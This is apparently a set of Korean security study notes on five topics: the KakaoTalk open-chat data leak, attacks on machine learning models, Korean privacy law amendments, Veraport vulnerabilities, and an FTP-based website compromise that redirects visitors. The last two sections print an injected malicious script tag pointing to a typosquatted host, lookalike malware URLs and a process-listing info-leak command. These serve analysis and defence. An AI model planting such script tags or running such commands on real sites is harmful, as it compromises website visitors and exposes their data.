요약 - 카카오톡 메신저 시스템에서 심각한 보안 결함이 발견
- 카카오톡 오픈채팅 이용자들의 실명·전화번호를 비롯한 개인정보가 고가에 거래되는 중
내용 - 1월 카카오 플랫폼 서비스 관련 개발자 커뮤니티인 '카카오 데브톡'
> '카카오톡 오픈채팅방의 보안 허점과 개인정보 누출'이라는 제목의 글 게시
> "카카오톡 메시지 전송에 쓰이는 '로코 프로토콜'을 악용해 오픈채팅방 참여 이용자의 카카오톡 프로필 ID, 카카오톡 로그인에 쓰이는 이메일 주소, 전화번호까지 추출 할 수 있다"
※ 오픈채팅방에서 채팅방 익명 이용자의 실제 카카오톡 아이디와 메일주소, 전화번호를 뽑아내는 과정을 담은 스크린샷을 글에 첨부

- 오픈채팅방 이용자에 배정된 익명 ID에 대해 특정 명령어를 써 데이터 요청
> 해당 이용자의 카카오톡 아이디 식별 번호, 로그인용 메일 주소, 전화번호를 알 수 있었음

- 해킹 툴은 카카오톡의 '로코 프로토콜'의 보안 취약점을 활용
> 로코 프로토콜은 12년째 카카오톡 메시지 전송에 쓰이는 규칙
> 2011년 카카오톡 메시지 전송량이 급증하자 카카오가 개발 및 도입_10년 넘게 사용되면서 보안 취약점이 다수 발견
> 최소 2년 전부터 로코 프로토콜을 악용한 '로코봇'을 홍보하는 동영상과 글 등이 다수 존재

- 실제 개발자 커뮤니티 '깃허브' 등에서는 오픈채팅 유저아이디와 실제 프로필 아이디를 연결하는 로직(규칙성)을 추정하는 연구가 이루어짐
> 2020년 8월 이전에 생성된 오픈채팅방의 경우 로직이 발견되어 실제로 유저아이디를 통해 이용자 신상정보를 확인하는 해킹이 발생
※ 카카오는 이후 생성된 오픈카톡방부터 새로운 알고리즘을 적용 - 최근 인공지능(AI) 기술 발전 등으로 로직을 파악했다고 주장하는 개발자가 속속 등장

- 개인정보 추출 인원 1명에 7000원이 매겨졌으며, 5000명 이상 추출할 경우 1인당 5000원으로 할인
> 불법 솔루션 판매자와 접촉해 '테스트'를 요청하면 지목한 오픈채팅방에서 사용하는 닉네임, 실명, 전화번호가 포함된 리스트를 샘플로 제공
기타 - 카카오 입장
> 시스템 구조상 오픈채팅방을 통해 익명 이용자의 개인정보 조회까지는 할 수 없다
> 오픈채팅방 회원 식별번호에 대해 일부 보안 취약점이 있기는 했다
> 이를 통해 알아낼 수 있는 것은 톡 유저 아이디(식별값) 뿐이고, 별도 DB에 저장하는 전화번호까지는 알 수 없는 구조
> "현재까지 오픈채팅방에 대한 개인정보 유출 피해 사례는 접수된 바가 없다"
> "정부 조사에 적극 협조해 실제 정보 침해 행위가 일어났는지 확인할 것"

- 과학기술정보통신부와 한국인터넷진흥원(KISA)
> 카카오톡의 오픈채팅방 보안 취약점과 불법행위 여부 확인 중

- 개인정보보호위원회
> 카카오톡 오픈채팅방의 보안 취약점과 개인정보 유출 경위 및 규모
> 기술적·관리적 보호조치 등 ‘개인정보 보호법’ 위반 여부에 대해서 조사

- 현재 주식리딩방 업체들이 이런 방식으로 유출된 DB를 사들여 사기 마케팅에 활용 등 피해 발생

 

보안뉴스

 

익명 오픈채팅방도 다 털려?…카카오는 이미 알고 있었다 [선한결의 IT포커스]

"익명 오픈채팅방에 있으면 누군지 모를 것 같죠? 익명 ID만 알아도 카톡 프로필 사진부터 상태 메시지, 전화번호까지 알 수 있습니다. 문의 사항은 텔레그램 보내세요." 일부 개발자들 사이에서

n.news.naver.com

 

[단독]카톡 오픈채팅 해킹...1명당 단가 7000원·2시간 만에 '뚝딱'

카카오는 기술적으로 절대 불가능하다고 하는 오픈채팅 이용자의 개인정보 유출, 실제로는 어떤 과정을 통해 이뤄졌을까. 전자신문이 대규모 개인정보 유출이 발생한 지난 8일 유출 피해 제보

www.etnews.com

 

[단독]카톡 '오픈채팅' 보안 구멍 뚫렸다

카카오톡 메신저 시스템에서 심각한 보안 결함이 발견됐다. 카카오톡 오픈채팅 이용자들의 실명·전화번호를 비롯한 개인정보가 고가에 거래되고 있는 것으로 나타났다. 유출된 개인정보 기반

www.etnews.com

 

개인정보위, 카카오톡 오픈채팅방 개인정보 유출 관련 조사 착수

개인정보보호위원회(위원장 고학수, 이하 ‘개인정보위’)는 카카오톡 오픈채팅방의 개인정보 유출과 관련 조사에 착수했다고 밝혔다. 개인정보위는 카카오톡 오픈채팅방의 보안 취약점과 개

www.boannews.com

1. 인공지능

- 인간의 학습능력, 추론능력, 지각능력을 인공적으로 구현하려는 컴퓨터 과학

- 인간의 지능을 기계 등에 인공적으로 시연(구현)한 것

- 인공지능 ⊃ 머신러닝 ⊃ 딥러닝

머신러닝 (Machine Learning) 비교 딥러닝 (Deep Learning)
기존 통계 기법 기반 기반 기술 인공 신경만 이용
미리 정의된 특징 추출 및 이를 기반으로 학습 학습 자동으로 특징 추출 및 이를 기반으로 학습
비교적 간단한 데이터 필요 데이터 대량 데이터
간단한 모델에서도 높은 예측 성공 예측 성능 복잡한 모델에서 높은 예측 성공
다양 분야 활용 활용 분야 이미지, 음성, 자연어 처리 분야에서 뛰어난 성능
전문적 지식 필요 없음 모델 설계 필요 지식 전문 지식 필요
빠른 학습 시간 학습 시간 오랜 학습 시간 
복잡한 계산식 불필요 계산식 복잡한 계산식 필요

 

2. 보안 취약점

- 챗GPT의 등장으로 인공지능 기술에 대한 관심은 더욱 높아짐

- 이미 챗GPT을 이용해 악성 앱을 만들어 사이버 공격에 활용하는 사례가 확인됨

① 사례1: PuTTY SSH와 텔넷 클라이언트를 다운로드 받는 자바 코드 생성

② 사례2: 완전 자동화 된 다크웹 시장 플랫폼 구축

③ 사례3: 데이터 암복호화에 사용가능한 파이썬 스크립트 블로피시(Blowfish)와 투피시(Twofish) 개발

 

2.1 적대적 공격 (Adversarial Attack)

- 적대적 공격: 딥 러닝의 심층 신경망을 이용한 모델에 적대적 교란(Adversarial Pertubation)을 적용하여 오분류를 유발하고 신뢰도 감소를 야기하는 머신러닝 공격 기법

- 공격 목적

- 신뢰도 감소: 모델에 대한 예측 신뢰도를 감소
- 오분류: 집단 A를 B, C, D, E 등 다른 집단으로 오분류 ex. STOP 표지판을 GO 또는 SLOW 등으로 오분류
- 출력 오분류: 집단 B, C, D, E 등을 하나의 집단 A로 오분류 ex. STOP 또는 SLOW 표지판을 GO로 오분류
- 입력 및 출력 오분류: 집단 A를 집단 B로 오분류 ex. STOP 표지판을 GO로 분류

 

① Poisoning attack (중독 공격, 오염 공격)

> 데이터셋에 악성 데이터를 삽입하는 것과 같이 의도적으로 악의적인 학습 데이터를 주입해 시스템 자체를 손상시키는 공격

> 모델 자체를 공격해서 모델에게 영향을 줌

> 예시: MS 인공지능 채팅봇 테이(Tay) 

- 2016년 MS는 인공지능 채팅봇 테이(Tay) 공개
- 악의적인 발언을 하도록 훈련시켜 차별적 발언을 남발
- 16시간 만에 서비스 중지

 

② Evasion attack (회피 공격)

> 입력 데이터에 최소한의 변조를 가해 머신러닝을 속이는 기법

> 인간의 눈으로 식별하기 어려운 노이즈 데이터를 삽입하여 변조

> 예시: 2016년 테슬라 원격 주행 자동차가 해킹

- 2016년 테슬라 원격 주행 자동차가 해킹으로 원격조종 영상 공개
- 2017년 워싱턴대학의 연구팀의 증명
- 도로 교통 표지판에 스티커 부착만으로 자율주행차의 표지판 인식 모듈이 ‘정지’ 표시를 ‘속도제한’ 표시로 오인식

 

③ Inversion attack (전도 공격, 학습 데이터 추출 공격) 

> 데이터 분류를 위한 머신러닝은 주어진 입력에 대한 분류 결과와 신뢰도를 함께 출력

> 주어진 입력에 대해 출력되는 분류 결과와 신뢰도(Confidence)를 분석하여 역으로 데이터를 추출

> 예시: 2021년 6월 애플, 구글, 하버드대학, 스탠포드대학 등의 공동 논문

- 인공지능 모델을 훈련시키는 데이터를 추출하여 개인 식별 정보 등 민감 정보를 빼내는 데 성공
- 당시 실험에 사용되던 모델은 GPT2로 챗GPT보다 한 단계 전의 모델

 

④ Model extraction attack (모델 추출 공격)

> 공개된 API가 있는 학습 모델의 정보를 추출하는 공격 기법

> 기존 모델이 어떻게 이루어져 있는지 알 수 없지만 API를 통해 얻어진 정보로 기능적으로 비슷한 모델을 구현

> 예시: 2016년 ‪Florian Tramèr‬의 Stealing Machine Learning Models via Prediction APIs

- 70초 동안 650번 쿼리만으로도 아마존 머신러닝 모델과 유사한 모델을 만들어 내는 것이 가능하다는 연구결과

 

2.2 이 외 문제

① 스팸 필터를 속이는 스팸 메일

> 스팸 방지 필터는 스팸 지수와 같은 차단한 근거를 생성 > 지속적으로 메일을 보내 스팸 필터 모델의 작동 기준 재구성

 

② 정교해진 피싱 메일

> 해커 포럼에 머신러닝을 활용한 메일 자동 생성 서비스가 판매 되는 중

 

③ 패스워드 해킹

> 대입 공격에 사용되는 데이터셋의 질 향상과 탈취한 패스워드의 해시를 해독하는데 머신러닝 활용

 

④ 딥 페이크

> 실제 사람과 분간하기 어려운 비디오나 오디오를 생성

 

⑤ 보안 도구 우회 

> 보안 장비의 탐지를 우회하고 공격 도구를 보호하는데 머신러닝 활용

 

⑥ 공격 대상 정찰

> 머신러닝 기반의 스캔 도구 개발 가능성

 

⑦ 자동화 멀웨어

> C2 접근 등이 차단된 경우에도 공격을 지속할 수 있는 지능적인 멀웨어 등장 가능성

 

3. 대응방안

① 최소극대화(Minimax)

> 적대적 생성 신경망(Generative Adversarial Network, GAN): 생성 모델과 식별 모델이 서로 경쟁하여 손실이 최소화된 데이터를 생성하는 모델

 

② 적대적 예제 학습

> 학습 과정에 적대적 예제를 추가 학습데이터로 활용

> Defense-GAN: 생성 이미지와 적대적 예제의 차이를 최소화하는 새로운 생성 데이터(z')을 만들어 기존 GAN 학습

 

③ 결과값으로부터 역추론을 할 수 없도록 결과값을 숨기거나 변환

 

4. 참고

[1] https://www.kisec.com/rsrh_rpt_det.do?id=221

[2] https://www.kisec.com/rsrh_rpt_det.do?id=241 

[3] https://itwiki.kr/w/%EC%A0%81%EB%8C%80%EC%A0%81_%EA%B3%B5%EA%B2%A9

[4] https://www.ciokorea.com/news/240019

[5] https://www.boannews.com/media/view.asp?idx=114975&page=1&kind=1

1. 개요

- 지난달 27일 국회를 통과한 ‘개인정보 보호법’ 개정안이 국무회의에서 의결

- 개인정보 보호법 개정은 2011년 법 제정 이후 처음으로 이뤄진 전면 개정

- 정부가 학계·법조계·산업계·시민단체 등과 2년여의 협의 과정을 거쳐 정비

- 개인정보 보호법개정안은 오는3월 14일 공포되어, 9월 15일부터 시행될 예정

 

2. 주요 개정 사항

- 전 세계적인 디지털 대전환 추세에 부합하도록 ▴데이터 경제 견인, ▴국민 개인정보 신뢰 사회 구현, ▴글로벌 스탠다드에 부합하는 개인정보 규범 선도 등을 위하여 시급히 필요한 내용을 적용

[사진 1] 개인정보보호법 개정 의의

2.1 마이데이터 확산 및 데이터 경제 성장 견인

- 요약

① 데이터 경제의 확산에 따른 개인정보 자기결정권의 범위 확대 및 개인의 주도적인 데이터 기반 서비스 이용

② 고정형 영상기기에서 이동형 영상정보처리기기의 도입과 활용에 관한 근거 마련

③ 기존 데이터 3법의 단순한 이전 및 병합으로인한 모호성, 중복성 제거, 규제 확대 및 불필요 규제 삭제

 

- 자신의 개인정보를 보유한 기업·기관에게 그 정보를 다른 곳으로 옮기도록 요구할 수 있는 ‘개인정보 전송요구권’의 일반법적 근거를 신설

> 금융·공공 등 일부 분야에서만 제한적으로 가능했던 마이데이터 서비스가 개인의 뜻에 따라 의료·유통 등 모든 영역에서 보편적으로 이루어질 수 있는 기반을 마련

> 다양한 데이터 간 합종연횡이 가속화하면서 혁신적 스타트업 등 다양한 경제주체가 새로운 데이터 생태계에서 성장을 주도할 것으로 기대

 

- 이동형 영상정보처리기기가 부착된 자율주행차, 드론, 배달 로봇 등이 안전하게 운행될 수 있도록 합리적인 기준도 마련

> 이동형 영상정보처리기기는 일상생활에서 광범위하게 사용되고 있는 현실과는 달리 명확한 규정 없이 운영

> 이동형 영상정보처리기기를 업무 목적으로 운영할 경우 촬영사실을 명확하게 표시하도록 하는 등 운영 기준을 마련

 

- 누구든 법을 쉽게 준수할 수 있도록 온·오프라인으로 이원화된 규제체계 개편

> 동일행위에는 동일규제가 적용

> 국민의 권리 보장에 도움이 되는 규정은 모든 분야로 확대하고, 실효성이 낮은 조문은 삭제

 

2.2 디지털 시대에 적합한 국민의 적극적 권리 강화

- 요약

① 기업의 합리적, 효율적, 책임감 있는 개인정보 수집 및 이용 활성화

② 개인정보 처리방침의 적정성, 이해성, 접근성 등을 평가와 필요에따른 개선권고 도입

③ 인공지능(AI) 도입에따른 정보주체의 권리 침해 방지를 위한 권리 도입

④ 개인정보 분쟁 참여 대상 확대를통한 분쟁의 실효성과 결정에 신뢰를 제공

⑤ 개인정보취급자의 개인정보 사적(불법)이용에대한 처벌 근거 도입

 

- 디지털 환경에 맞추어 국민이 자신의 권리를 실질적으로 행사할 수 있도록 개편

> 국민과 기업·기관 간 개인정보 처리에 대한 신뢰가 축적될 수 있는 토대를 마련

 

- 정보주체의 동의에만 과도하게 의존했던 개인정보 처리 관행 개편

> 상호계약 등 합리적으로 예상할 수 있는 범위 내에서는 동의 없이도 개인정보 수집·이용이 가능하도록 정비

> 개인정보위가 기업·기관의 개인정보 처리방침을 평가한 후 개선하여, 자신의 개인정보 처리에 대해 보다 쉽고 정확하게 알 수 있도록 개선

 

- 인공지능을 활용한 자동화된 결정국민에게 중대한 영향을 미치는 경우 이에 대해 거부하거나 설명을 요구할 수 있는 권리 신설

 

- 아동에게 개인정보 관련 내용을 알릴 때에는 이해하기 쉬운 양식·언어 사용 의무를 온라인 분야에서 모든 분야로 확대

> 국가·자치단체의 아동 개인정보 보호 시책 의무를 명확히함

 

- 개인정보 분쟁조정 절차에 참여 의무를 공공기관에서 전체 개인정보처리자로 확대

> 분쟁조정을 위해 사실확인이 필요한 경우 사실조사 근거 마련하는 등 분쟁해결을 위한 제도도 정비

 

2.3 글로벌 스탠다드에 부합하는 법제도 정비

- 요약

① 개인정보 국외이전의 필요성 증가에따라 해외 법과의 상호 운용성 강화 및 중지권 도입으로 안전성 강화

② 과도한 형벌에따른 개인정보업무담당자의 업무 부담과 업무회피 등의 문제 해소를 위한 실효성있는 처벌 규정 도입

 

- 전세계적으로 데이터가 차지하는 중요성이 점점 높아지고 있는 상황

> 글로벌 스탠다드에 부합하고 개인정보 국제 규범을 선도할 수 있도록 국외이전, 과징금 제도 등을 정비

> 개인정보를 국외로 이전하려면 정보주체의 동의 필요

> 동의 외에도 계약·인증·적정성결정 등으로 국외이전 요건을 다양화해 글로벌 규범과의 상호운용성을 확보

> 해당 국가가 개인정보를 적정하게 보호하고 있지 않다고 판단되는 경우 국외이전 중지를 명령할 수 있는 근거도 마련

 

- 개인정보 보호 책임을 과도한 형벌을 경제벌 중심으로 전환

> 글로벌 스탠다드와 달리 개인정보 보호 책임을 기업보다는 담당자 개인에 대한 형벌 위주로 규율

> 과징금 상한액은 글로벌 수준에 맞추어 전체 매출액의 3% 이하로 조정

> 산정 때 위반행위와 관련 없는 매출액은 제외하도록 해 비례성과 효과성을 모두 확보

 

- 공공·민간의 개인정보 보호체계 강화

> 매년 공공기관의 개인정보 보호 수준을 평가할 수 있는 근거 포함

> 개인정보 침해 발생 위험성이 높고 효과적인 대응이 필요한 경우 사전에 실태점검을 할 수 있는 근거 포함

 

3. 참고

[1] https://www.pipc.go.kr/np/cop/bbs/selectBoardArticle.do?bbsId=BS074&mCode=C020000000&nttId=8674#LINK 

[2] https://www.dailysecu.com/news/articleView.html?idxno=144134 

[3] https://n.news.naver.com/article/018/0005437894?cds=news_my_20s 

[4] https://www.boannews.com/media/view.asp?idx=114945&page=1&kind=2 

1. Veraport

- (주)위즈베라에서 개발한 인터넷 뱅킹 이용시 필요한 보안 프로그램을 통합 설치해주는 솔루션

 

1.1 동작방식

① 은행 웹사이트가 hxxps://127.0.0.1:16106(베라포트의 로컬 웹서버)에 연결해서 JSONP 요청 전송

> getAxInfo와 같은 명령어를 사용해 웹사이트에서 설치 정책을 다운

send_command("getAxInfo", {
  "configure": {
    "domain": "http://banking.example/",
    "axinfourl": "http://banking.example/wizvera/plinfo.html",
    "type": "normal",
    "language": "eng",
    "browser": "Chrome/106.0.0.0",
    "forceinstall": "TouchEnNxKeyNo",
  }
});

 

② 베라포트가 정책파일을 다운로드해서 검증

<pluginInstallInfo>
  <version>2.2</version>
  <createDate>2022/02/18 17:04:35</createDate>
  <allowDomains>www.citibank.co.kr;*.citibank.co.kr;cbolrnd.apac.nsroot.net</allowDomains>
  <allowContexts/>
  <object type="Must">
    <objectName>TouchEnNxKeyNo</objectName>
    <displayName>TouchEnNxKey-multi64</displayName>
    <objectVersion>1.0.0.73</objectVersion>
    <signVerify>confirm</signVerify>
    <hashCheck>ignore</hashCheck>
    <browserType>Mozilla</browserType>
    <objectMIMEType>
      file:%ProgramFiles(x86)%\RaonSecure\TouchEn nxKey\TKMain.dll
    </objectMIMEType>
    <downloadURL>
      /3rdParty/raon/TouchEn/nxKey/nxKey/module/
      TouchEn_nxKey_Installer_32bit_MLWS_nonadmin.exe /silence
    </downloadURL>
    <backupURL>
      /3rdParty/raon/TouchEn/nxKey/nxKey/module/
      TouchEn_nxKey_Installer_32bit_MLWS_nonadmin.exe
    </backupURL>
    <systemType>64</systemType>
    <javascriptURL/>
    <objectHash/>
    <extInfo/>
    <policyInfo/>
    <description/>
  </object>
  <object type="Must">
    …
  </object>
  …
</pluginInstallInfo>

 

③ 베라포트는 objectMIMEType 항목을 통해서 애플리케이션의 설치여부 확인

>  설치가 안되었을 경우 downloadURL, backupURL 항목을 사용해 설치파일 다운

 

④ 베라포트의 사용자 인터페이스를 통해 해당 파일 다운로드

> type 설정 매개변수에 의해 "관리(manage)모드"와 "일반(normal)모드"로 나뉘어짐

[사진 1] Veraport 동작 과정 요약

2. 취약점

- 취약점 요약

① 서명 유효성 검사에 사용되는 루트 인증서 중 하나는 MD5 해싱과 1024비트 RAS키 사용 > 지원 중단이 10년 넘음.
② 다운로드를 위한 연결에 HTTPS를 강제하지 않으며 HTTPS가 사용될 때도 서버 인증서를 검증하지 않음
다운로드한 파일의 무결성을 올바르게 검증하지 않음 > 애플리케이션 서명 유효성 검사를 쉽게 우회할 수 있음
④ 무결성 검증을 쉽게 우회할 수 없더라도 베라포트는 손상된 바이너리를 사용할 지 여부를 사용자 결정에 의존
⑤ 사용자의 선택이나 기타 피드백 없이 애플리케이션을 다운로드하고 설치하는 동작을 시작할 수 있음
웹사이트에서 소프트웨어를 배포하며, 이미 알려진 보안 문제가 있는 오래된 애플리케이션을 제공
⑦ 공개적으로 유출된 서명인증서나 악의적인 정책파일을 철회할 수 있는 장치가 없음
⑧ hxxps://127.0.0.1:16106에서 동작하는 베라포트의 로컬 웹서버에는 영구적 XSS 을 비롯한 여러 보안취약점이 존재

 

2.1 전송 데이터 보호 부족 문제

- HTTPS 연결을 강제하지 않음 > 모든 다운로드는 암호화되지 않은 HTTP 연결을 통해 다운로드

- HTTPS 연결 테스트시 서버의 정당성을 확인하지 않음 > 악성 서버가 hxxps://download.example로 가장한 경우에도 베라포트는 다운로드를 수행

※ 두 번째 이유는 잘 모르겠음

HTTPS Handshaking 과정 중 Server Hello 패킷을 통해 서버의 SSL 인증서를 전송하며, 클라이언트는 이를 검증

공격자가 애초에 SSL 인증서를 사용해 악성 사이트로 가장한 경우에대한 검증인지

혹은 다른 무엇이 있는지에 대한 의문

 

2.2 신뢰 도메인 범위 문제

- 'allowedDomains'에 표시된 URL을 신뢰

> 1.1 동작방식 ②에서는 *.citibank.co.kr를 신뢰 도메인으로 지정

> *.citibank.co.kr는 citibank.co.kr의 모든 하위 도메인을 신뢰한다는 의미

> 서브 도메인 탈취, 웹 사이트 해킹 등으로 악성 사이트를 만들 수 있으며, 악성 파일 유포가 가능해짐

※ 이와 관련된 공격 행위는 2020년 이미 발생한 것으로 확인됨

참고: https://threatpost.com/hacked-software-south-korea-supply-chain-attack/161257/

 

2.3 서명키 보관 문제

- 인증서 발급에 이미 사용이 중단된 알고리즘을 사용

> 1024비트 키와 MD5 서명은 오래전에 사용이 중단되었으며며, 브라우저에서는 이러한 인증기관의 단계적인 제거를 10년전에 시작

※ 참고: https://wiki.mozilla.org/CA:MD5and1024

Authority name Validity Key size Signature algorithm
axmserver 2008-11-16 to 2028-11-11 1024 MD5
VERAPORT Root CA 2020-07-21 to 2050-07-14 2048 SHA256

 

- MS에서는 인증 기관에 대한 요구 사항 중 루트 인증서는 배포 신청일로부터 25년 이내에 만료되어야 한다고 말함

※ 참고: https://learn.microsoft.com/en-us/previous-versions//cc751157(v=technet.10)#a-root-requirements

 

2.4 다운로드 파일 무결성 검증 문제

- 정책 파일에는 다운로드에 대한 해시 기반 검증 옵션이 있음 > 모든 웹사이트에서 이 기능은 사용되지 않음

> 2.2 신뢰도메인 문제를 악용해 공격자가 조작하는 웹 사이트에서 파일 다운로드 및 실행이 가능함

<hashCheck>ignore</hashCheck>

 

2.5 정보 유출 문제

- 베라포트 서버에서 지원하는 명령 중 'checkProcess' 명령이 있음

> 애플리케이션 이름을 넘겨주면 현재 실행 중인 경우 프로세스에 대한 정보를 반환

> 아래와 같이 애플리케이션 이름으로 *를 입력하면 사용자가 어떤 애플리케이션을 실행하고 있는지알 수 있음

> getPreDownInfo 명령을 통한 접근도 가능

let processes = send_command("checkProcess", "*");

 

2.6 HTTP 응답 분할 문제

- HTTP 응답을 생성하는 모든 라이브러리들이 헤더 이름이나 값에서 줄바꿈 문자를 금지한 후 거의 사라진 취약성 종류

> Veraport는 그러한 라이브러리를 사용하지 않으며, 이를 통한 XSS 공격이 가능함

 

3. 조치

- 블라디미르 팔란트

> 2023년 02월 22일 KrCERT에 보고 및 같은 날 KrCERT가 위즈베라에 전달

 

- 위즈베라

> 2월 28일 Veraport 3.8.6.5 출시

> 해당 버전의 경우 제보한 취약점이 수정된 것으로 확인됨

① HTTPS 연결에 대해 서버 유효성 검사
② HTTP 다운로드를 HTTPS로 업그레이드 하여 신뢰할 수 없는 네트워크가 더 이상 설치를 조작할 수 없게함
③ 애플리케이션에 대한 설명을 변경할 수 없음
④ XSS 취약점은 베라포트의 로컬 서버에서 제거 및 JSONP 엔드포인트는 콜백 이름을 허용된 문자 집합으로 제한
⑤ OpenSSL은 Veraport 3.8.6.5에서 버전 1.1.1t로 업데이트 등

 

3.1 남은 문제들

① 2023.03.01 기준 일부 은행 사이트에서만 최신 베라포트(버전 3.8.6.4) 지원

② checkProcess는 2021.10.29 패치되었지만, getPreDownInfo 명령을 통한 접근은 최신 버전에서도 사용 가능

③ mongoose 5.5 라이브러리를 로컬 웹 서버에 사용 > 업그레이드되고 있지 않는 라이브러리

mongoose: 몽고DB와 Express.js 웹 애플리케이션 프레임워크 간 연결을 생성하는 자바스크립트 객체 지향 프로그래밍 라이브러리

④ 임의의 애플리케이션을 강제로 설치할 수 있는 권한이 있음
⑤ 오래된 루트 인증서(1024비트, MD5)가 애플리케이션에 여전히 존재함 등

 

4. 참고

[1] https://palant.info/2023/03/06/veraport-inside-koreas-dysfunctional-application-management/
[2] https://github.com/alanleedev/KoreaSecurityApps/blob/main/05_wizvera_veraport.md

1. 개요

- 동아시아 사용자들이 주로 방문하는 웹사이트 수천 개가 침해

※ 최소 10,000개의 웹사이트를 손상시켰으며, 대부분은 중소기업이나 개인이 운영하는 사이트며, 대기업에서 운영하는 사이트도 일부 존재

- 이 사이트들에 접속하려 하면 방문자들은 해당 사이트가 아니라 성인 또는 도박 사이트로 리디렉션

- 2022.09부터 시작된 것으로 보이며, 공격자들은 FTP 크리덴셜을 활용

- 크리덴셜 정보를 탈취한 경로와 초기 웹 서버에 접속하는 방식 등 공격 백터를 특정하지 못했으나, 공격이 지속되어 공개

 

1.1 리다이렉션

- 리다이렉션: 이용자가 A가 웹 사이트 B에 접속 시 작업, 오류 등의 사유로 이용자 A를제 3의 사이트 C로 이동시키는 것

> 목적 사이트를 결정하기 위해 신뢰되지 않은 데이터를 사용하고, 이에 대한 적절한 검증이 없을 경우

> 공격자가 조작한 성인, 피싱, 악성 사이트 등으로 리다이렉트되는 취약점

[사진 1] 리다이렉션 취약점 요약

2. 분석

- 공격자들은 사이버 공격을 통해 취득된 정당한 FTP 자격 정보를 이용해 이용자들을 2022.09부터 성인 또는 도박 사이트로 리다이렉션

- 호스팅 업체와 웹사이트 구축에 사용된 기술의 차이로 공격자들이 어떤 식으로 침해하는지 밝혀내는 것이 어려웠음

 

- 침해된 웹 사이트의 경우 다음 2가지 공통점을 가짐

① 중국 또는 다른 곳에서 호스팅 되지만 중국 관객을 대상으로 서비스
② FTP 포트(21)가 열려 있는 서버 또는 다른 FTP 엔드포인트를 통해 접근

 

2.1 공격 방식

- 동아시아에서 호스트되고 있는 Azure Web Apps 중에 사용자를 성인용 웹사이트로 리디렉션하는 몇 가지 부정 액세스가 확인됨

- 브루트포스 등 취약한 계정을 사용한 FTP 서버에 접속해 웹 페이지 변경을 수행한 것으로 판단됨.

- 관련 FTP 로그를 분석해 본 결과, 172.81.104[.]64부터의 접근이 확인됨.

※ 중국 IP를 가진 허니팟을 구성한 결과, 해당 IP로 부터의 접근이 다수 확인

[사진 2] 공격 방식 요약

 

- 피해 웹사이트접속시 격에 호스팅 되어 있는 자바스크립트를 다운하는 HTML 코드가 한 줄씩 추가되어 있었음.

tpc[.]googlesyndication[.]com(페이지내 표시된 광고를 클릭했을 경우 발생되는 트래픽) 등 정규 서비스로 위장

※ 하위 도메인 com을 다른 도메인으로 변경

<script type="text/javascript" src="https://tpc.googlesyndication[.]wiki/sodar/sodar2.js"></script>

 

- 자바 스크립트의 경우 다음 2가지의 공통점을 가짐

① 자바스크립트 실행을 동아시아 특정 국가에서 접속한 사용자로 제한

② User-Agent와 Refferes를 참조 및 웹 크롤러 목록과 대조해 크롤러를 사용한 경우 해당 요청 무시

 

- 자바스크립트 유포 사이트는 정상 URL과 유사한 형태로 목록은 다음과 같음

※ 취소선이 표시된 경우 현재는 Offline

※ 정상 사이트와 비교 표

Malicious URL Legitimate URL
tpc.googlesyndication[.]wiki/sodar/sodar2.js tpc.googlesyndication[.]com/sodar/sodar2.js
beacon-v2.helpscout[.]help/static/js/vendor.06c7227b.js beacon-v2.helpscout[.]net/static/js/vendor.06c7227b.js
cdn.jsdelivr[.]autos/npm/jquery/dist/jquery.min.js cdn.jsdelivr[.]net/npm/jquery/dist/jquery.min.js
minjs[.]us/static/js/min.js */static/js/min[.]js
www.metamarket[.]quest/market.js www[.]metamarket[.]com
cdn-go[.]net/vasdev/web_webpersistance_v2/v1.8.2/flog.core.min.js cdn-go[.]cn/vasdev/web_webpersistance_v2/v1.8.2/flog.core.min.js
a.msstatic[.]net/main3/common/assets/template/head/ad.tmpl_a9b7.js a.msstatic[.]com/huya/main3/*

 

2.2 리다이렉션 스크립트

- 자바스크립트는 동작 조건는 다음과 같음

① 스크립트가 실행되면 0~1의 난수가 계산되며, 난수가 확률치보다 작은 경우 cookie를 설정한 후 srcAddress에 나열된 웹 사이트로 리다이렉션

※ 해당 cookie는 24시간 후 만료되도록 설정됨

 

② 이미 cookie가 설정된 사용자가 접근할 경우 즉시 srcAddress에 나열된 웹 사이트로 리다이렉션

 

③ 사용자가 모바일로 접속하고, 몇 가지 조건을 충족시키면 downloadSrc 필드에 나열된 리소스로 리디렉션되어 앱 다운

※ 조건 1: 안드로이드 브라우저(모바일용 웹 브라우저) 사용

※ 조건 2: config.androidApk 플래그가 스크립트로 활성화된 경우

 

④ User-Agent헤더 값을 알려진 웹 크롤러 목록과 비교하여 웹 크롤러인 경우 해당 요청 무시

※ User-Agent헤더 값이 알려진 웹 크롤러이며, Refferes헤더 값이 알려진 웹 브라우저일 경우 리다이렉션되지 않음

※ 스크립트에 표시된 크롤러 목록

bot|googlebot|crawler|spider|robot|crawling|Bytespider|Googlebot|Baiduspider|MSN Bot\/Bingbot|Yandex Bot|Soso Spider|Sosospider|Sogou Spider|360Spider|Yahoo! Slurp China|Yahoo!|YoudaoBot|YodaoBot|Sogou News Spider|msnbot|msnbot-media|bingbot|YisouSpider|ia_archiver|EasouSpider|JikeSpider|EtaoSpider|SemrushBot

[사진 3] 리다이렉션 스크립트의 결정 트리

2.3 중간 경유지

- 정상 URL과 유사한 형태로 목록은 다음과 같음

※ 리다이렉션은 직접 이루어졌으나, 현재는 중간 경유지를 통해 리다이렉션됨

Malicious URL Legitimate URL
s3a.pstatp[.]org/toutiao/push.js  s3a.pstatp[.]com/toutiao/push.js
stat.51sdk[.]org/ (e.g., stat.51sdk[.]org/b8nb3Ww5CtxpZis2)  stat.51sdk[.]com (?)
tpc.cdn-linkedin[.]info/js/vendor.5b3ca61.js  *-cdn.linkedin[.]com (e.g., mobile-cdn.linkedin.com)
widget-v4.tidiochat[.]net/1_131_0/static/js/chunk-WidgetIframe-.js  widget-v4.tidiochat[.]com/1_137_1/static/js/*

 

2.4 리다이렉션 사이트

- alibod1[.]com, 22332299[.]com, alibb1[.]xyz, alibb2[.]xyz이 있으며, 각종 도박 사이트 광고가 표시되고 팝업이 발생

 

3. 대응방안

① FTP(FTP 또는 SFTP)를 통해 웹사이트를 관리할 경우 강력한 사용자 이름과 패스워드 조합으로 사용할 것을 권장

 

② 계정 탈취 가능성이 존재하므로, 계정 변경

 

③ FTP를 사용해야하는 경우 FTPS 또는 SFTP로 전환

※ FTPS: 기존의 FTP에 전송 계층 보안(TLS)과 보안 소켓 계층(SSL) 암호화 프로토콜에 대한 지원이 추가된 것

※ SFTP: SSH File Transfer Protocol'의 약자로, 암호화를 통해 데이터를 안전하게 전송(일반 텍스트 파일은 전송되지 않음)

※ 차이점: FTPS는 인증서를 이용한 FTP+SSL 구성이며, SFTP는 SSH를 이용함

 

